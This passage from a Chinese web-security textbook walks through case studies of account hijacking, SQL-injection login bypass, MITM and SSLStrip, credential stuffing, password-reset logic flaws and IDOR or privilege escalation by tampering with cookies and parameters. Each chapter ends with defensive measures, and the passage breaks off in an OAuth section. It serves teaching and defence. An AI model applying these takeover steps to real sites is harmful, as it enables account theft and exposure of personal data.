绕过登录测试\n步骤二：因网站登录处过滤不严格导致存在SQL注入漏洞，利用万能密码，可以绕过\n登录的限制成功登录后台，如图14-7所示。\n图14-7 成功登录\n14.2.2.2 某APP客户端可以劫持任意账号\n步骤一：在某App的官网上查看已经注册的用户，如图14-8所示。\n图14-8 查看注册用户ID\n步骤二：通过浏览器审查元素，如图14-9所示，可以得到该用户的ID值。\n图14-9 查看用户ID\n步骤三：下载该客户端，单击微博授权登录，如图14-10所示。\n图14-10 授权登录\n步骤四：在登录过程中截取数据包，如图14-11所示，修改uid里面的数据，即可登录\n其他人的账号。\n图14-11 替换用户ID\n步骤五：如图14-12所示，成功利用微博劫持他人账号并登录成功。\n图14-12 成功登录他人账号\n14.1.3 电子邮件账号泄露事件\n电子邮箱业务基于计算机和通信网的信息传递业务，利用电信号传递和存储信息，为\n用户传送电子信函、文件数字传真、图像和数字化语音等各类型的信息。电子邮件最大的\n特点是，人们可以在任何地方、任何时间收、发信件，解决了时空的限制，大大提高了工\n作效率，为办公自动化、商业活动提供了很大便利。但电子邮件账号泄露，也将引发大量\n的信息泄露。\n14.2.3.1 邮件账号引发的信息泄漏\n步骤一：如图14-13所示，通过搜索引擎查找某公司公开于互联网的文件。\n图14-13 敏感文件查找\n步骤二：下载该XLS文件，从文件中获得某企业员工的邮件账号密码，如图14-14所\n示，成功登录邮件系统。\n图14-14 登录邮件系统\n步骤三：在一份邮件中发现该公司部分信息，包括VPN登录地址、OA系统及内网各\n个系统的登录方式，利用该邮件的账号密码均能登录各类内网系统，从而获得大量敏感数\n据。如图14-15所示，成功拨入VPN，任意访问内网系统。\n步骤四：如图14-16所示，成功登录OA系统，可以获取职工个人信息，包括手机号\n码、身份证、工作内容等。\n图14-15 登入VPN\n图14-16 登录OA系统\n步骤五：如图14-17所示，成功登录内部订单系统，查看大量订单数据。\n图14-17 登录内部数据平台\n14.1.4 中间人攻击\n中间人攻击，即所谓的Main-in-the-middle（MITM）攻击，顾名思义，就是攻击者插\n入到原本直接通信的双方中间，让双方以为还在直接跟对方通信，但实际上双方的通信对\n象已变成了攻击者，同时信息已经被中间人获取或篡改。而中间人攻击不仅可以捕获\nHTTP未加密的传输数据，更可以捕获HTTPS协议加密的数据。\nHTTPS中间人攻击一般分为SSL连接建立前的攻击，以及HTTPS传输过程中的攻击。\n常见的HTTPS中间人攻击，会首先需结合ARP、DNS欺骗、伪造CA证书等技术，来对会\n话进行拦截。\n14.2.4.1 SSL证书欺骗攻击\nSSL证书欺骗攻击较为简单，首先通过DNS劫持和局域网ARP欺骗甚至网关劫持等技\n术，将用户的访问重定向到攻击者的设备上，让用户机器与攻击者机器建立HTTPS连接\n（使用伪造的CA证书），而攻击者机器再跟Web服务端连接。这样攻击者的机器分别与\n用户和真正的服务器建立 SSL 连接，通过这两个连接之间转发数据，就能得到被攻击者\n和服务器之间交互的数据内容。但用户的浏览器会提示证书不可信，只要用户不单击继续\n就能避免被劫持。所以这是最简单的攻击方式，也是最容易识别的攻击方式。如图14-18\n所示，为SSL证书欺骗攻击流程。\n图14-18 证书欺骗过程\n14.2.4.2 SSL劫持\nSSL劫持，是指将页面中的HTTPS超链接全都替换成HTTP版本，让用户始终以明文\n的形式进行通信。在现实生活中，用户在浏览器上输入域名，大部分采用直接输入网址的\n方式，从而会忽略该网站采用的协议类型。例如打开百度，一般会直接输入\nwww.baidu.com，用户向百度发送一个 HTTP 请求，而不是 HTTPS。HTTP是以明文传输\n数据的，因此如果利用 SSL 劫持攻击，使 HTTPS 协议的网站降级到HTTP，就能获取敏\n感数据。\n有部分网站并非全部采用HTTPS协议，只是在需要进行敏感数据传输时才使用\nHTTPS 协议，如登录认证、传输敏感身份数据等时候。中间人攻击者在劫持了用户与服\n务端的会话后，将HTTP页面里所有的HTTPS超链接都换成HTTP，用户在单击相应的链\n接时，使用HTTP协议来进行访问。这样即使服务器对相应的URL只支持HTTPS链接，但\n中间人攻击者一样可以和服务建立HTTPS连接之后，将数据使用HTTP协议转发给客户\n端，实现会话劫持。\nSSL劫持攻击手段更让人防不胜防，因为用户无法提前知道网站是否使用HTTPS \n或\n者 HTTP，而在用户的浏览器上更不会弹框告警或者网页错误显示。如图11-19所示为SSL\n劫持攻击流程。\n图14-19 SSLStrip攻击示例\n如图14-20所示，可利用SSLStrip工具成功劫持Gmail账号。\n图14-20 劫持Gmail账号\n14.1.5 撞库攻击\n撞库是黑客通过收集互联网已泄露的用户和密码信息，生成对应的字典表，尝试批量\n登录其他网站后，得到一系列可以登录的用户名和密码组合。由于很多用户在不同网站使\n用的是相同的账号和密码，因此黑客可以通过获取用户在 A 网站的账户从而尝试登录B网\n站，这就可以理解为撞库攻击。\n14.2.5.1 某知名公司子站存在撞库风险\n步骤一：某知名公司官方网站用户登录有验证码校验机制，但有个子站没有限制登录\n次数，因此可利用该子站进行撞库攻击，在该子站验证成功后再返回主站进行登录，如图\n14-21和图14-22所示。\n图14-21 子站登录界面\n图14-22 登录数据包\n步骤二：如图14-23所示，利用捕获到的数据包通过Burp Suite的intruder模块进行撞库\n攻击。\n图14-23 Burp Suite暴力破解\n步骤三：利用该子站撞库攻击的结果，返回主站登录尝试，如图14-24所示，成功登\n录主站。\n图14-24 利用撞库成功登录\n14.3 防范账号泄露的相关手段\n随着互联网和各类网络应用的快速发展，关于保护账号安全的措施也迫在眉睫。总结\n本章的账号安全相关案例，建议企业在防护账号和密码方面使用如下措施：\n（1）核查数据库中的账号和密码存储方式，自行加密用户敏感数据，严格限制数据\n库的访问条件，禁止外部连接数据库。\n（2）采用 HTTPS 协议对账户认证过程实现加密封装，确保身份认证过程无法被窃\n取。\n（3）加强网络信息安全意识，网络管理人员对内部员工进行安全意识培训，禁止使\n用弱口令，禁止公开个人账号密码，定期修改密码。\n（4）使用数字证书认证。数字证书是通过运用对称和非对称密码体制等密码技术建\n立起一个严密的身份认证系统，从而保证信息除发送方和接收方外不被其他人窃取。\n（5）了解互联网账号泄露事件，存在账号泄露事件时第一时间通知客户修改个人账\n号和密码，避免撞库攻击。\n（6）加强对网站的安全防护能力，定期进行安全评估和升级更新，避免攻击者利用\n漏洞获取账户信息。\n第15章 密码找回安全案例总结\n密码找回功能中潜在的逻辑漏洞，将使互联网用户的账户面临严重的安全风险。本章\n将全面剖析常见密码找回逻辑漏洞案例，使读者了解和掌握该功能中存在的问题，规避密\n码找回安全风险。\n15.1 密码找回凭证可被暴力破解\n密码找回凭证是指在密码找回过程中，服务端向用户的注册手机或者邮箱中发送的验\n证码或特殊构造的URL等用于用户自证身份的信息。当用户凭证的验证次数未做限制或限\n制不严可被绕过时，攻击者可以通过暴力枚举用户凭证的方式，冒充该用户重置其密码。\n其业务流程如图15-1所示。\n图15-1 业务流程图\n15.1.1 某社交软件任意密码修改案例\n2012年，某社交软件的官网上新增了一个忘记账号或密码的链接。\n步骤一：单击忘记密码链接后，进入重设密码选择页，如图15-2和图15-3所示。\n图15-2 忘记密码链接\n图15-3 重设密码选择页\n步骤二：选择使用手机号重设密码，并输入一个真实注册用户的手机号码，如图15-4\n所示。\n图15-4 重设密码页面\n步骤三：单击“下一步”按钮后，系统提示将发送验证码到注册手机，如图15-5所示。\n图15-5 发送验证码页面\n步骤四：单击“我已收到验证短信”后，系统弹出重置密码确认页，需要输入手机上收\n到的验证码作为密码找回凭证。核对成功则可以成功进行密码重置，如图15-6所示。\n图15-6 发送验证码页面\n步骤五：单击“OK”并对该请求进行抓包，获取到包文：\ncheck=false&phone=186XXXXXXXX&……&verifycode=1234。\n步骤六：根据以上包文信息可以发现该密码找回功能的验证码比较简单，只有4位数\n字，可以尝试枚举修改包文中的verifycode进行暴力破解。几次尝试后收到系统提示“您的\n提交请求过于频繁，请稍后再试。”说明该网站的密码找回功能是对用户凭证的验证频率\n做了限制的，只能想办法绕过其限制。\n步骤七：经过一系列尝试后发现，在phone=186XXXXXXXX的号码后面随机添加不\n为数字的字符时，可以绕过此限制。于是推测其漏洞点在于判断 phone=186XXXXXXXX\n的尝试次数时未对phone的值进行提纯，所以可以利用在号码后添加随机字符的方式绕过\n限制。但在下一步操作的时候，只取了phone中的数字部分，然后再取出此号码的\nverifycode进行比对，比对成功则修改密码，如图15-7所示。\n图15-7 暴力破解示例\n15.2 密码找回凭证直接返回给客户端\n有些信息系统在密码找回功能的设计上存在逻辑漏洞，可能会将用于用户自证身份的\n信息的密码找回凭证以各种各样的方式返回到客户端。这样攻击者只要通过在本地抓取数\n据包并对其内容加以分析就能获取到其他用户的密码找回凭证，从而冒充该用户重置密\n码，如图15-8所示。\n图15-8 测试流程图\n15.2.1 密码找回凭证暴露在请求链接中\n步骤一：进入某直播网站登录处，单击忘记密码，选择通过注册手机找回密码，如图\n15-9所示。\n图15-9 通过注册手机找回密码\n步骤二：输入手机号码，单击获取验证码，然后使用Firebug查看请求链接，发现验\n证码直接出现在请求链接中，如图15-10所示。\n图15-10 验证码出现在请求链接中\n步骤三：直接输入请求链接中暴露出来的验证码即可修改密码。\n15.2.2 加密验证字符串返回给客户端\n步骤一：进入某电商官网按正常流程执行找回密码功能，填写好邮箱和图片验证码，\n进入下一步，然后使用抓包工具抓取请求包。\n步骤二：分析返回的数据包，发现其中包含了一个加密字符串，将其记录下来，如图\n15-11所示。\n图15-11 抓包返回数据结果\n步骤三：之后，邮箱中会收到一个找回密码用的验证码。将该验证码在页面上填好，\n单击下一步按钮即可进入密码重置页面，如图15-12所示。\n步骤四：仔细观察发现，密码重置页面URL中的加密验证字符串和之前返回数据包中\n的加密字符串是同一个，如图15-10和图15-11所示。既然如此，则可以绕过邮箱验证码校\n验，直接利用抓包工具获取到的加密字符串构造到URL中进行任意密码重置，如图15-12\n所示。成功重置并登录了官方客服的账号，如图15-13所示。\n图15-12 密码重置页面\n图15-13 密码重置并登录成功\n15.2.3 网页源代码中隐藏着密保答案\n步骤一：进入某邮箱网站官网，单击“找回密码”按钮，再单击“网上申诉”链接，如图\n15-14所示。\n步骤二：在网上申诉页面直接查看源代码，发现源代码中不但有密码提示问题，还在\nHide表单里隐藏着问题答案。通过该方式，可获得任意用户修改密码问题答案，从而可以\n修改其他用户邮箱密码，如图15-15所示。\n图15-14 网上申诉链接\n图15-15 密保答案泄露\n15.2.4 短信验证码返回给客户端\n步骤一：进入某商城网站首页，单击忘记密码。\n步骤二：使用一个已注册的手机号码，通过短信验证方式找回密码，如图15-16所\n示。\n图15-16 通过短信验证方式找回密码\n步骤三：输入图片验证码，单击获取短信验证码，如图15-17所示。\n图15-17 获取验证码\n步骤四：此时抓取数据包，发现服务端直接将短信验证码646868返回给了客户端，将\n短信验证码填写到验证码处即可成功重置其密码。同理，通过该方式，可以重置其他用户\n的密码，如图15-18所示。\n图15-18 返回短信验证码\n15.3 密码重置链接存在弱Token\n有些信息系统的密码找回功能会在服务端生成一个随机 Token 并发送到用户邮箱作\n为密码找回凭证。但一旦这个 Token 的生成方式被破解，攻击者就可以伪造该Token作为\n凭证重置其他用户的密码。测试流程如图15-19所示。\n图15-19 测试流程图\n15.3.1 使用时间戳的md5作为密码重置Token 步骤一：进入某网站先按正常流程取回一次密码，查看邮箱，邮件内容如图15-20所\n示。\n图15-20 邮件内容\n步骤二：从邮件内容中可以看出参数vc为一串md5值，u为用户邮箱。将参数vc解密\n后为1496732066。于是猜测参数vc应该为id值，尝试遍历id值并修改变量u，查看是否可以\n修改其他用户密码，结果发现不可行。\n步骤三：再仔细观察vc参数，发现和UNIX时间戳格式相符，于是使用UNIX时间戳转\n换工具验证，转换成功，如图15-21所示。\n图15-21 UNIX时间戳转换\n步骤四：大致推测出该系统找回密码的流程。用户取回密码时，先产生一个精确的时\n间戳并与账号绑定记录在数据库内，同时将该时间戳作为密码找回凭证发送到用户的注册\n邮箱。只要用户能够向系统提供该时间戳即可通过认证，进入密码重置流程。但对攻击者\n来说，只要编写一段程序在一定时间段内对时间戳进行暴力猜解，很快就可以获得找回密\n码的有效链接，如图15-22所示。\n图15-22 测试exp\n步骤五：最终成功重置密码并登录到个人中心，如图15-23所示。\n图15-23 重置密码成功\n15.3.2 使用服务器时间作为密码重置Token\n步骤一：进入某积分兑换商城，首先用 2 个账号在两个浏览器窗口中同时找回密码来\n进行对比，如图15-24所示。\n步骤二：对比邮箱中收到的找回密码链接，我们可以看出，找回密码使用的随机\nToken只相差4，那么攻击者通过遍历Token的方式即可重置其他用户的密码，如图15-25所\n示。\n图15-24 开始找回密码\n图15-25 重置密码链接\n15.4 密码重置凭证与用户账户关联不严\n有些信息系统在密码找回功能的校验逻辑上存在缺陷，只校验了密码重置凭证是否在\n数据库中存在，但未严格校验该重置凭证和用户账号之间的绑定关系。这种密码重置凭证\n与用户账户关联不严的逻辑漏洞就让攻击者可以通过在数据包中修改用户账号达到重置其\n他密码的目的，如图15-26所示。\n图15-26 业务流程图\n15.4.1 使用短信验证码找回密码\n步骤一：进入某手机厂商官网，首先填写自己的手机号码进行密码找回。\n步骤二：收到验证码后填入验证码和新密码提交，这时候使用数据抓包工具进行抓\n包，将数据包中的username修改为其他账号，post上去后就可以使用自己设置的密码登录\n其他账号，如图15-27所示。\n图15-27 重置密码链接\n15.4.2 使用邮箱Token找回密码\n步骤一：进入某公共信息网站使用真实信息找回密码后，系统会发送一封邮件到绑定\n的邮箱。邮件中的找回密码链接如下：\nhttp：//**.**.**.**/test.do？method=resetPassword&id=用户ID值\n&authcode=XXX&Email=邮箱地址\n步骤二：访问后可直接进入用户密码重置页面。在该页面输入新密码，并在提交时使\n用抓包工具抓取数据抓包，可获得以下内容：\norg.apache.struts.taglib.html.TOKEN=83accc27d5178f832d9f22a1d02bdacf&org.apache.struts.taglib.html.TOKEN=83accc27d5178f832d9f22a1d02bdacf&rt Password=123456&passwordw=123456&rtEmail=邮箱&idtagCard=用户ID\n步骤三：虽然包文中含有org.apache.struts.taglib.html.TOKEN和\norg.apache.struts.taglib.html.TOKEN两个Token参数，但因为并没有和用户ID进行绑定验\n证，依然可以通过修改用户ID重置他人密码。随机修改了一个用户ID并提交后，提示密\n码重置成功，如图15-28所示。\n图15-28 密码重置成功\n15.5 重新绑定用户手机或邮箱\n有些信息系统在绑定用户手机或者邮箱的功能上存在越权访问漏洞。攻击者可以利用\n该漏洞越权绑定其他用户的手机或者邮箱后，再通过正常的密码找回途径重置他人的密\n码。\n15.5.1 重新绑定用户手机\n步骤一：首先注册一个某邮箱的测试账号，然后会跳转到一个手机绑定的页面上，如\n图15-29所示。\n图15-29 绑定手机页面\n步骤二：注意此处链接中有个参数为uid，将uid修改为其他人的邮箱账号。填入一个\n你可控的手机号码，获取到验证码。确定后这个目标邮箱已经被越权绑定了密保手机，如\n图15-30所示。\n图15-30 手机号码绑定成功\n步骤三：走正常的密码取回流程，发现这个邮箱多了一个通过手机找回密码的方式，\n这个手机尾号就是刚刚绑定的手机号码，如图15-31所示。\n步骤四：获取验证码并填入新密码，最终成功重置了目标账户的密码，如图15-32所\n示。\n图15-31 找回密码流程\n图15-32 找回密码成功\n15.5.2 重新绑定用户邮箱\n步骤一：某网站用户注册后的激活页面链接如下：\nhttp://**.***.com/user/test/2815193\n步骤二：链接尾部的一串数字是用户的ID，通过修改这个ID即可进入其他用户的页\n面，如图15-33所示，该页面提供了更改邮箱地址的功能，可在此处将邮箱地址修改为自\n己的测试邮箱。\n图15-33 用户激活页面\n步骤三：然后使用该测试邮箱进行密码找回，即可重置目标用户的密码，如图15-34\n所示。\n图15-34 重置密码成功\n15.6 服务端验证逻辑缺陷\n有些信息系统的服务端验证逻辑存在漏洞。攻击者可以通过删除数据包中的某些参\n数、修改邮件发送地址或者跳过选择找回方式和身份验证的步骤，直接进入重置密码界面\n成功重置其他人的密码。\n15.6.1 删除参数绕过验证\n步骤一：某邮箱系统可以通过密码提示问题找回密码，如图15-35所示。\n图15-35 通过密码提示问题找回密码\n步骤二：首先随机填写密码答案，然后进入下一步，抓包后将问题答案的整个字段都\n删除再提交，如图15-36所示。\n图15-36 抓包截图\n步骤三：因服务端验证逻辑存在缺陷，无法获取到问题答案的情况下直接通过了验\n证，密码重置成功，如图15-37所示。\n图15-37 密码修改成功\n15.6.2 邮箱地址可被操控\n步骤一：某网站可以通过注册时填写的邮箱来找回密码，但为防止网络不稳定等因素\n导致邮件发送失败，找回密码页面提供了“重新发送邮件”的功能，如图15-38所示。\n图15-38 重新发送邮件\n步骤二：单击重新发送邮件，然后抓包拦截请求，将数据包中的邮箱地址改为自己的\n测试邮箱，如图15-39所示。\n图15-39 抓包截图\n步骤三：进入自己的测试邮箱，单击收到的链接，密码重置成功，如图 15-40所示。\n图15-40 修改密码成功\n15.6.3 身份验证步骤可被绕过\n步骤一：进入某网站的密码找回功能，输入账号和验证码，如图15-41所示。\n步骤二：确定后，直接访问 http：//**.***.com.cn/reset/pass.do 即可跳过选择找回方式\n和身份验证的步骤，直接进入重置密码界面，如图15-42所示。\n图15-41 密码找回界面\n图15-42 重置密码界面\n步骤三：最终成功修改密码并登录到个人中心，如图15-43所示。\n图15-43 登录成功\n15.7 在本地验证服务端的返回信息——修改返回包绕过验证\n有些信息系统在密码找回功能的设计上存在逻辑漏洞，攻击者只需要抓取服务端的返\n回包并修改其中的部分参数即可跳过验证步骤，直接进入密码重置界面。\n修改返回包绕过验证案例如下。\n步骤一：进入某电商网站，单击忘记密码，输入用户名admin后选择手机找回，单击\n发送验证码，然后随便填写一个验证码，单击下一步按钮，如图15-44所示。\n图15-44 验证手机\n步骤二：此时抓包并拦截返回的数据包。经过测试，将返回码改成 200 即可绕过验证\n逻辑，如图15-45所示。\n图15-45 修改返回包\n步骤三：直接跳转到了重置密码页面，如图15-46所示。\n图15-46 重置密码页面\n15.8 注册覆盖——已存在用户可被重复注册\n有些信息系统的用户注册功能没有严格校验已存在的用户账号，导致攻击者可以通过\n重复注册其他用户账号的方式重置他人密码。\n已存在用户可被重复注册案例如下。\n步骤一：进入某快递网站，单击用户注册，输入用户名admin，在鼠标离开输入框后\n会提示该账号已注册，如图15-47所示。\n图15-47 注册界面\n步骤二：输入一个未注册的用户名并提交表单，同时用抓包工具截取数据包并将\nusername修改为admin，如图15-48所示。\n图15-48 抓包并修改用户名\n步骤三：此时 admin 用户的密码被重复注册的方式修改了，但原用户的所有信息却没\n有改变，也就是说这时候攻击者获取了用户的信息，包括姓名、身份证、手机号等。\n15.9 Session覆盖——某电商网站可通过Session覆盖方式重置他人密码\n有些服务器密码找回功能的服务端校验存在漏洞，攻击者使用密码找回链接重置密码\n时可以通过Session覆盖的方式成功重置其他用户的密码。\n某电商网站可通过Session覆盖方式重置他人密码案例如下。步骤一：使用自己的账\n号进行密码找回，如图15-49所示。\n图15-49 密码找回\n步骤二：收到邮件后先不要打开链接，如图15-50所示。\n图15-50 收到邮件\n步骤三：在同一浏览器内打开网站再次进入密码找回页面，输入其他人的账号，如图\n15-51所示。\n图15-51 其他用户的身份验证界面\n步骤四：单击发送“找回密码邮件”后停在该页面，如图15-52所示。\n图15-52 发送邮件成功\n步骤五：在同一浏览器中打开第二步中自己邮箱中收到的链接，然后设置一个新密\n码，如图15-53所示。\n图15-53 密码设置界面\n步骤六：使用新设置的密码，成功登录进了其他人的账户，如图15-54所示。\n图15-54 登录成功\n15.10 防范密码找回漏洞的相关手段\n（1）在密码找回功能设计时对用户凭证的验证次数和频率进行限制，防止攻击者对\n用户凭证的暴力枚举攻击。\n（2）对密码找回的各个环节进行梳理，记录分析所有交互数据，避免密码找回凭证\n等敏感信息直接返回给客户端。\n（3）对服务端密码重置Token的生成算法进行审计，避免使用容易被攻击者破解的\n简单算法。\n（4）密码重置凭证应与账户严格绑定，并设置有效时间，避免攻击者通过修改账户\nID的方式重置他人密码。\n（5）对客户端传入的数据要进行严格的校验，手机号、邮箱地址等重要信息应和后\n台数据库中已存储的信息进行核对，不应从客户端传入的参数中直接取用。避免攻击者通\n过篡改传入数据的方式重置他人密码。\n（6）对用户注册、手机邮箱绑定等业务逻辑进行审计，避免攻击者通过用户重复注\n册和越权绑定等漏洞间接重置他人密码。\n第16章 越权访问安全案例总结\n16.1 平行越权\n攻击者请求操作（增、删、查、改）某条数据时，Web 应用程序没有判断该数据的\n所属人，或者在判断数据所属人时直接从用户提交的表单参数中获取（如用户ID），导\n致攻击者可以自行修改参数（用户ID），操作不属于自己的数据，如图16-1所示。\n图16-1 平行越权流程图\n16.1.1 某高校教务系统用户可越权查看其他用户个人信息\n某高校教务系统存在平行越权漏洞。通过测试发现，学号有规律可循，学号后4位是\n连续的数字，普通用户登录系统后可越权查看其他学生的学籍信息、课程成绩等敏感信\n息。\n步骤一：以“高某某”学号为12xxxx0031为例，登录教务系统，并查看该账号的学籍信\n息。查看学籍信息链接为 \nhttp：//host/search.do？m=xsx&xh=12Sxxx0031，如图16-2所\n示。\n图16-2 查看学号为12xxxx0031的学生的学籍信息\n步骤二：访问学号为 12Sxxx0032 的学生的学籍信息，链接为 http：//host/search.do？\nm=xsx&xh=12Sxxx0032，如图16-3所示。\n图16-3 越权查看其他学号（12xxxx0032）的学籍信息\n步骤三：访问学号为 12Sxxx0033 的学生的学籍信息，链接为 http：//host/search.do？\nm=xsx&xh=12Sxxx0033，如图16-4所示。\n图16-4 越权查看学号12xxxx0033的学籍信息\n16.1.2 某电商网站用户可越权查看或修改其他用户信息\n某电商网站存在越权漏洞可任意进行读取或删除其他用户收货地址、订单信息等操\n作。\n步骤一：注册账号并登录，当前用户名为 april，UserID 为 460，添加收货地址并查\n看“我的地址簿”，如图16-5所示。\n图16-5 查看UserID为460的地址簿\n步骤二：使用Burp Suite抓包，修改cookie中的UserID为460，提交后服务器返回地址\n信息，如图16-6所示。\n图16-6 越权查看UserID为460的地址信息\n步骤三：修改cookie中的UserID为360，提交后服务器返回地址信息，如图16-7所示。\n图16-7 越权查看UserID为360的地址信息\n步骤四：在前台下单并提交后，单击查看“我的订单”，如图16-8所示。\n图16-8 单击“我的订单”查看订单详细信息\n同时使用Burp Suite抓包发现用户ID为460，其订单详细信息如图16-9所示。\n图16-9 使用Burp Suit查看当前UserID（460）订单信息\n步骤五：修改cookie中的UserID为360，提交后服务器返回的订单信息如图16-10所\n示。\n图16-10 越权查看UserID为360的订单信息\n16.1.3 某手机APP普通用户可越权查看其他用户个人信息\n某手机APP查看“个人信息”功能存在平行越权漏洞，可越权查看其他用户个人信息。\n步骤一：注册用户并登录后单击“系统设置→个人信息”处查看个人信息，如图16-11\n所示。\n图16-11 查看当前个人用户信息\n步骤二：使用Burp Suite抓包并修改studentId为188750，提交后服务器返回的其他用\n户信息如图16-12所示。\n图16-12 越权查看studentId为188750的用户信息\n步骤三：修改studentId为138850，提交后服务器返回的其他用户信息如图16-13所\n示。\n图16-13 越权查看studentId为138850的用户信息\n16.2 纵向越权\n16.2.1 某办公系统普通用户权限越权提升为系统权限\n服务器为鉴别客户端浏览器会话及身份信息，会将用户身份信息存储在 Cookie中，\n并发送至客户端存储。攻击者通过尝试修改Cookie中的身份标识为管理员，欺骗服务器分\n配管理员权限，达到垂直越权的目的，如图16-14所示。\n某办公系统存在纵向越权漏洞，通过修改Cookie可直接提升普通用户权限为系统权\n限。\n图16-14 纵向越权流程图\n步骤一：使用普通权限账号a02登录办公系统，成功登录后访问链接\nhttp：//host/aaa/bbb/editUser.asp？iD=2，尝试修改权限。\n由于普通用户无法访问修改权限模块，系统会跳转到NoPower页面提示用户无操作权\n限，如图16-15所示。\n图16-15 a02用户没有权限访问该模块\n步骤二：使用Burp Suite修改Cookie中的Tname参数为admin，欺骗服务器该请求为系\n统管理员发出的，成功提升账号a02为系统管理员权限，如图16-16所示。\n图16-16 将a02用户Cookie中的Tname修改为admin\n步骤三：再次访问权限修改modifyuser页面http：//host/aaa/bbb/editUser.asp？iD=2，\n如图16-17所示可成功访问。\n图16-17 a02账号权限提升成功\n16.2.2 某中学网站管理后台可越权添加管理员账号\n攻击者通过删除服务器响应数据包中的跳转JS代码，未经身份验证直接进入后台“添\n加用户”页面。然后利用Cookie先后添加普通用户A与B，虽然A与B不能直接修改自己的\n权限，但A与B可相互修改对方的权限，因此攻击者利用A将B的权限修改为管理员权限，\n并以 B 的身份登录后台，最终实现垂直越权获得管理员权限，如图16-18所示。\n图16-18 纵向越权流程图\n某学校网站管理后台存在越权漏洞，可以越权添加管理员账号。\n步骤一：访问登录页面，尝试登录，如图16-19所示。\n图16-19 身份认证未通过\n访问 http：//www.xxx.com/WEB/ABC/addUser.aspx 可直接打开添加用户页面，如图\n16-20所示。\n图16-20 未授权访问新增用户模块\n添加账号test，密码123456，添加完用户返回首页登录，如图16-21所示。\n图16-21 使用新添加的用户登录系统\n步骤二：登录成功后，提示没有分配管理权限，然后会强制退出管理系统，如图16-\n22所示。\n图16-22 test用户没有被管理员分配权限\n但此时会生成一个Cookie，如图16-23所示。\n图16-23 查看test用户的Cookie\n步骤三：使用该Cookie访问http：//www.xxx.com/WEB/ABC/userList.aspx，可直接打\n开分配权限的页面。其中test用户不能修改自己的权限，但可以修改其他用户的权限。再\n添加一个新用户test2，两者可以互相添加权限，如图16-24所示。\n图16-24 新增另一用户test2\n步骤四：使用test账号修改test2账号的权限为管理员权限，如图16-25所示。\n图16-25 修改test2用户为管理员权限\n步骤五：使用test2账号重新登录，成功进入管理后台，如图16-26所示。\n图16-26 test2用户成功登录管理员后台\n16.2.3 某智能机顶盒低权限用户可越权修改超级管理员配置信息\n攻击者以普通管理员身份登录后台，通过搜集信息获得管理员请求数据包进行重放，\n越权修改超级管理员模块的设置，如图16-27所示。\n图16-27 纵向越权流程图\n某智能机顶盒设备在后台管理上存在越权漏洞，在同一网络中的任意用户可以利用受\n影响的页面，越权修改超级管理员的设备配置信息。\n步骤一：使用超级管理员登录，配置 user 密码。智能机顶盒设备的超级管理员的账\n户名和密码为 chinanet/123456，登录后查看该机顶盒的设备信息，如图 16-28所示。\n图16-28 超级管理员登录系统后台\n使用超级管理员登录后，在“管理”模块下的“用户管理”中配置 user 用户的密码，如图\n16-29所示。\n图16-29 user用户密码配置\n步骤二：使用超级管理员配置proxy代理地址，通过超级管理员在“应用”模块下\n的“proxy代理”中配置，然后获取相关的测试链接和参数，设置的值如图16-30所示。\n图16-30 proxy代理配置\n步骤三：通过这次的简单配置后，使用抓包软件进行抓取提交的链接和参数，如图\n16-31所示。\n图16-31 修改proxy代理的数据包\n步骤四：退出超级管理员，清除浏览器的Cookie信息，使用user账号登录操作。与超\n级管理员相比，user用户在“应用”模块中只有简单的“日常应用”一项权限，并没有其他的\n权限，如图16-32所示。\n图16-32 user用户应用信息\n步骤五：利用 user 用户的权限来进行配置以前没有权限配置的 proxy 代理的地址信\n息，直接使用hackbar工具通过POST方式提交数据，如图16-33所示。\n图16-33 user用户越权提交数据\n通过抓取的数据包可以看出，使用的是 user 用户权限进行提交的，如图 16-34所示。\n图16-34 user用户越权提交的数据包信息\n步骤六：再次使用超级管理员chinanet账户登录，单击进入“proxy代理”的配置，此时\n内容已经发生改变了，如图16-35所示。\n图16-35 越权提交数据的结果\n16.2.4 某Web防火墙通过修改用户对应菜单类别可提升权限\n攻击者以低权限身份请求登录系统，系统根据category参数的值（system.audit）分配\n权限。攻击者修改category值为system.admin，系统根据category值重新分配权限为超级管\n理员，如图16-36所示。\n图16-36 纵向越权流程图\n该系统程序对用户权限的控制是限制菜单及功能模块的访问，可以通过修改用户对应\n的菜单类别的方式来改变用户身份欺骗系统，以达到访问其他权限模块的目的。\n步骤一：以 audit 用户身份登录系统，使用 Burp Suite 抓包 category 的值system.audit 修改为system.admin，如图16-37所示。\n图16-37 修改category参数的值为system.admin\n步骤二：category值修改以后，单击Forward，进入管理员管理界面，如图16-38所\n示。\n图16-38 audit提升为system.admin权限\n步骤三：将useradmin账户权限设置为最大，如图16-39所示。\n图16-39 将useradmin修改为最大权限\n步骤四：使用useradmin账户登录系统，useradmin拥有管理员权限，如图16-40所示。\n图16-79 登录useradmin账户\n16.3 防范越权访问漏洞的相关手段\n实现应用程序的完善的访问控制不是件容易的事，越权漏洞防不胜防，本章从越权漏\n洞相关案例给出以下几点建议：\n（1）对于开发者而言，一定要有安全意识，时刻保持警惕。\n（2）永远不要相信来自客户端（用户）的输入，对于可控参数进行严格的检查与过\n滤。\n（3）执行关键操作前必须验证用户身份，多阶段功能的每一步都要验证用户身份。\n（4）对于直接对象引用，加密资源ID，以防止攻击者对ID进行枚举。\n（5）在前端实现的验证并不可靠，前端可以验证用户的输入是否合规，要在服务端\n对请求的数据和当前用户身份做校验。检查提交CRUD请求的操作者（Session）与目标对\n象的权限所有者（查数据库）是否一致，如果不一致则阻断。\n（6）在调用功能之前，验证当前用户身份是否有权限调用相关功能（推荐使用过滤\n器，进行统一权限验证）。\n（7）把属主、权限、对象、操作的场景抽象成一个统一的框架，在框架内统一实现\n权限的管理和检查。\n第17章 OAuth 2.0安全案例总结\n17.1 OAuth2.0认证原理\nOauth 允许用户让第三方应用访问该用户在某一网站上存储的私密资源（如照片、视\n频、联系人列表），而无须将用户名和密码提供给第三方应用的协议。\nOAuth 2.0 认证流程如图 17-1 所示。原理很简单，用户访问 App，App 访问\nAuthorization Server请求权限，Authorization Server得到用户同意后，返回Token，App通\n过这个Token向Authorization Server索要数据，App只能从Authorization Server获取服务器\n数据，而无法直接访问Resource Server。下面用Facebook的Oath2.0登录过程作为举例。\n步骤一：App向Oauth Server请求的URL里面带着该App的id、key、请求的类型、返回\n一串的access_token和事件类型code。\nhttps://facebook.com/dialog/oauth? \nresponse_type=code&client_id=YOUR_CLIENT_ID&redirect_uri=REDIRECT_URI&scope=email 步骤二：回调，跳转到权限确认页面等待用户确认授权。\nhttps://facebook.com/dialog/oauth? \nresponse_type=code&client_id=28653682475872&redirect_uri=example.com&scope=email 